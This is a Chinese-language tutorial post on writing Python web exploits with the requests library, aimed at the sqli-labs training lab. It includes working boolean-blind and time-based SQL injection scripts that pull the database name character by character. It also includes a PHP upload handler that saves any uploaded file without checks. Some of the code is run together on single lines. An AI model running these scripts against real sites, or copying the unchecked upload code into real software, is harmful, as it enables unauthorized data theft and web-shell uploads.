061 python实现EXP
文章目錄
- 一:概述
- 二:環境準備
- 三:requests庫
- 3.1:發送get請求
- 3.2:相關方法
- 3.3:相關操作
- 3.3.1:定制頭部
- 3.3.2:超時
- 3.3.3:GET傳參
- 3.3.4:post參數
- 3.3.5:文件上傳
- 3.3.6:重定向
- 3.3.7:cookie
- 四:python實現布爾盲注
- 五:python實現延時注入
- 六:python實現文件上傳
一:概述
python編寫EXP,以web漏洞為主
exp 漏洞利用工具
1、能夠看懂別人寫的exp,并修改
2、能自己寫exp
?
二:環境準備
下載一個Python解釋器,官網下載,這里以3.9版本為例
https://www.python.org/ftp/python/3.9.0/python-3.9.0-amd64.exe
這里有一篇怎么安裝第三方庫requests
https://www.cnblogs.com/testerlina/p/12466124.html
亦或是,cmd運行窗口:pip install requests
怎么才算安裝完成呢?當你輸入import requests沒有任何提示的時候,就說明安裝完成了。
準備一臺win2008,開啟phpstudy服務,并且在www目錄下創建一個python_test的文件夾,文件夾里有個get.php文件
文件內容如下:
?
三:requests庫
速查http方法GET 獲取資源POST 傳輸實體主體PUT 傳輸文件HEAD 獲得響應報文首部DELETE 刪除文件OPTIONS 查詢支持的方法TRACE 追蹤路徑CONNECT 要求用隧道協議連接代理LINK 建立和資源之間的連接UNLINK 斷開連接關系requests模塊中的http方法res = requests.get()res = requests.post()res = requests.put()res = requests.delete()res = requests.head()res = requests.options()參數GET參數 paramsHTTP頭部 headersPOST參數 data文件 filesCookies cookies重定向處理 allow_redirects = False/True超時 timeout證書驗證 verify = False/True工作流(延遲下載) stream=False/True事件掛鉤 hooks=dict(response=)身份驗證 auth=代理 proxies=對象方法URL .urltext .text編碼 .encoding|.encoding=響應內容 .contentJson解碼器 .json原始套接字響應 .raw|.ras.read()(需要開啟stream=True)歷史響應代碼 .history拋出異常 .raise_for_status()查看服務器響應頭 .headers查看客戶端請求頭 .request.headers查看Cookie .cookies身份驗證 .auth=更新 .update解析連接字頭 .links[]?
3.1:發送get請求
requests.get("http://192.168.152.136/python_test/get.php")3.2:相關方法
獲取正文 res.text 獲取響應狀態碼 res.status_code 獲取響應編碼 res.encoding 以二進制方式獲取響應正文 res.content 獲取響應頭部 res.headers 獲取提交的url(包括get參數) res.url 獲取發送到服務器的頭信息 res.request.headers3.3:相關操作
3.3.1:定制頭部
重新定義頭部信息(User-Agent)信息
>>> import requests >>> url = "http://192.168.152.136/python_test/get.php" >>> header = {"User-Agent":"Q_Q"} >>> res = requests.get(url=url,headers=header) >>> print(res.request.headers) {'User-Agent': 'Q_Q', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}?
3.3.2:超時
在win2008上新建一個timeout.php文件,如下圖:
新建一個文件,命名為timeout.py
代碼內容:
保存在桌面,然后按F5運行。
3.3.3:GET傳參
getpara.py
import requests url = "http://192.168.152.136/python_test/get.php" get_para = {"name":"q_q","password":"123"} res = requests.get(url=url,params=get_para) print(res.text) print(res.url)3.3.4:post參數
post.php 內容:
<?phpvar_dump($_POST); ?>3.3.5:文件上傳
uploadfile.py 內容:
import requests url = "http://192.168.100.250/python_test/uploadfile.php" upload_file = {"userUpFile":open("postData.py", "rb")} postData = {"userSubmit":"上傳"} res = requests.post(url=url, files=upload_file, data=postData) print(res.text)uploadfile.php 內容:
<html><meta charset="utf-8"><h1>文件上傳測試</h1><formaction=""method="post"enctype="multipart/form-data"><input type="file" name="userUpFile"><input type="submit" name="userSubmit" value="上傳"></form> </html> <?phpecho "<pre>";if(isset($_POST['userSubmit'])){var_dump($_FILES);$tmp_path=$_FILES['userUpFile']['tmp_name']; # 文件名$path=__DIR__."\\".$_FILES['userUpFile']['name']; # 絕對路徑+文件名// echo $tmp_path;// echo "<hr />";// echo $path;// echo "<br />";if(move_uploaded_file($tmp_path,$path)){// move_uploaded_file(參數1,參數2);將上傳的緩存文件的目錄(參數1)保存到參數2目錄下echo "upfile success!";echo "<br />".$_FILES['userUpFile']['name'];echo $path;}else{echo "upfile failed";}} ?>效果圖
3.3.6:重定向
chongdingxiang.php內容:
<?php header('location:./get.php'); echo "this is chongdingxiang page!!!"; ?>chongdingxiang.py內容:
import requests url = "http://192.168.100.250/python_test/chongdingxiang.php" res = requests.get(url=url) print(res.text) print(res.history)res = requests.get(url=url,allow_redirects=False) print(res.headers) print(res.text)效果如下圖:
3.3.7:cookie
cookie.php內容:
<?php var_dump($_COOKIE); ?>cookies.py內容:
import requests url = "http://192.168.100.250/python_test/cookie.php" coo = {"name":"q_q"} res = requests.get(url=url, cookies=coo) print(res.text)效果圖
?
四:python實現布爾盲注
以sqli-labs-master-8為例:
首先布爾盲注知識點筆記回顧:
存在布爾盲注,那么怎么來判斷布爾盲注狀態呢?
盲注是利用的頁面回顯的內容來進行判斷的,那么我們只需要確定頁面不一致即可,所以只需要通過Python計算頁面的字符的長度即可判斷頁面是否發生了變化。
sqli-labs-8.py源碼:
import requestsurl = "http://192.168.100.250/sqli-labs-master/Less-8/" # 計算頁面長度 normal_html_len = len(requests.get(url=url + "?id=1").text) print("the len of html: " + str(normal_html_len))# 獲取數據庫名長度 db_name_len = 0 while 1:# and左右兩邊的+是用來代替瀏覽器地址的空格db_name_len_url = url + "?id=1'+and+length(database())=" + str(db_name_len) + "--+"print(db_name_len_url)if len(requests.get(db_name_len_url).text) == normal_html_len:print("database len: " + str(db_name_len))breakelse:if db_name_len <= 30:db_name_len += 1else:print("error, database not exist")break# 獲取數據庫名 # ascii取值范圍a-z:97-122 db_name = "" for i in range(1, db_name_len + 1): # 長度等于8,左閉右開區間for j in range(97, 123):db_name_url = url + "?id=1'+and+ascii(substr(database()," + str(i) + ",1))=" + str(j) + "--+"print(db_name_url)if len(requests.get(db_name_url).text) == normal_html_len:db_name += chr(j) # 把ascii碼的數字轉換為字母breakprint("db_name is : ", db_name)測試結果圖:
?
五:python實現延時注入
以sqli-labs-9為例:
同樣的,首先回顧下延時注入的知識點筆記:
sqli-labs-9.py源碼:
import requests import string # 導入string模塊,是為了用里面的a-z的方法url = "http://192.168.100.250/sqli-labs-master/Less-9/"def timeout(url):try:res = requests.get(url, timeout=3) # 設置瀏覽器的訪問時間,timeout是get里面的參數,不能換成其他的return res.text # 返回html頁面內容except Exception as e:return "timeout" # 返回timeout,表示延時注入成功。db_name_len = 1 while 1:# 延遲5秒注入db_name_len_url = url + "?id=1'+and+if((length(database())=" + str(db_name_len) + "), sleep(5), 1)--+"print(db_name_len_url)if "timeout" in timeout(db_name_len_url):print("db_name_len is: ", db_name_len)breakelse:db_name_len += 1if db_name_len == 30:print("error, db_name_len is error")break''' 上面得到數據庫長度為8,接下來獲取數據庫名 ''' db_name = "" for i in range(1, 9):for j in string.ascii_lowercase: # string.ascii_lowercase:a-zdb_name_url = url + "?id=1'+and+if((substr(database(), " + str(i) + ", 1)='" + j + "'), sleep(5), 1)--+"print(db_name_url)if "timeout" in timeout(db_name_url):db_name += jprint("db_name is : ", db_name)break效果圖:
?
六:python實現文件上傳
關于argv的解釋:
給個大佬的鏈接:
https://www.cnblogs.com/aland-1415/p/6613449.html
重要部分的截圖
總結
以上是生活随笔為你收集整理的061 python实现EXP的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: group_concat函数用法
- 下一篇: 细说光刻技术